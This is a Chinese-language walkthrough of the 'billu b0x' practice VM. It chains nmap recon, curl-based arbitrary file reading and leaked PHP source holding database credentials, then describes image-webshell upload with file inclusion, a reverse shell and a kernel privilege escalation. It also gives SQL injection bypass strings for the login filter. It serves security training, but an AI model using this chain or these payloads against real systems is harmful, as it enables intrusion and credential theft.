信息收集
#正常进行信息收集就好
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-18 22:07 CST
Nmap scan report for 192.168.182.142 (192.168.182.142)
Host is up (0.00073s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
| /test.php: Test page
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
MAC Address: 00:0C:29:A9:EF:A9 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 31.10 seconds
只开放了两个端口,分别是22端口和80端口。貌似存在一个test.php测试页面!突破点就是在80端口上了,一旦找到用户名和密码,就可进行ssh登录尝试。
渗透测试
首页是这样的!看到提示可能是存在sql注入? 这里进行了测试,发现貌似并没有sql注入漏洞!
看看test测试页面是什么:
哦?这里出现了参数file,这个file参数的值还是路径! 那么很可能就是文件包含漏洞!
利用curl进行测试:
确定任意文件读取的漏洞!尝试读取shadow文件!
没有权限读取!既然这样的话,看看都存在什么文件吧,进行目录爆破:
下面就是依次看看这些文件都是什么作用!
add.php
利用任意文件读取漏洞,读取这个文件的源码:
<?php
echo '<form method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name=image>
<input type=text name=name value="name">
<input type=text name=address value="address">
<input type=text name=id value=1337 >
<input type="submit" value="upload" name="upload">
</form>';
?>
C
这个界面打开是空白的,所以我们尝试直接读取这个文件里面的内容!
curl -d "file=c.php" http://192.168.182.142/test.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>
发现数据库的账号和密码!!
billu b0x_billu
in
phpmy
数据库!直接使用上面的数据库账号和密码进行登录即可!
在auth表里面找到了网站的登录账号和密码!
尝试直接登录网站!
panel.php
成功登录网站之后,便来到了panel界面!这个界面可以上传文件:
可以上传文件!来到了这里我就开始了上传,发现在上传的时候,只能上传png jpg gif文件,一直绕过,发现绕不过去,当前的php版本信息是5.3.10 小于5.4版本,尝试使用%df来进行绕过,但是发现并不能绕过!
这里就糊涂了,没通过任意文件读取,去看看panel文件的源码是什么,而是转到了ssh上面,尝试无果!
回想起来当前的页面,于是就看了下源码!
<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
echo '<hr><br>';
echo '<form method=post>
<select name=load>
<option value="show">Show Users</option>
<option value="add">Add User</option>
</select>
 <input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
}
?>
发现这个页面存在文件包含漏洞!只要存在continue参数和load参数即可进行文件包含了!因此continue的参数值 为 任意,但是load参数的值是我们的马子的地址就行!(那就好了 我们不需要直接传php的马了 穿图片马就行了)
直接在panel里面复制图片马的地址:
成功执行我们的代码!接下来就是生成php的反弹shell 的马,再利用文件包含漏洞进行getshell!
提权
直接利用kali中自带的反弹shell的脚本进行getshell了!
拿到初始的shell之后,查看内核信息,这个版本之前遇到过很经典的内核漏洞!
利用
攻击机上起php服务,利用靶机进行下载!
补充
其实我们在首页就已经提示我们说“Show me your SQLI skills” 但是我们并没有找到相关sql注入的漏洞!既然存在任意文件读取漏洞,那么我们就可以利用他来读取index.php的内容!
<?php
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';
}
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{
echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>
然后我们便可以找到三个关键的sql注入的过滤语句:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
整个过滤是针对单引号进行的过滤!
我们只需要输入:
select * from auth where pass='\'and uname='or 1=1-- \';
select * from auth where pass='\'and uname='or 1=1#';
这里的整体的思路是这样的:当我们输入“\”的时候,其实在select的语句中,是转义字符的意思,那么我们针对select * from auth where pass='\'and uname='or 1=1-- \'; 来说就是pass=' 这个单引号和uname='的引号闭合!!!(\'and uname=)括号里面的内容就是pass的内容! 然后后面的or 1=1以及-- 注释使得我们能够成功的登录到系统里面!
登陆进行就正常操作即可了!
这里还有一个知识点就是phpmyadmin的默认配置文件名字:config.inc.php 默认的路径就是在phpmyadmin下面!
既然这里利用dirsearch发现了路径:phpmy 那么猜测这个路径下面可能存在着config.inc.php文件!
这里确实读取到了这个文件!里面还有root的账号和密码!!直接ssh登录即可!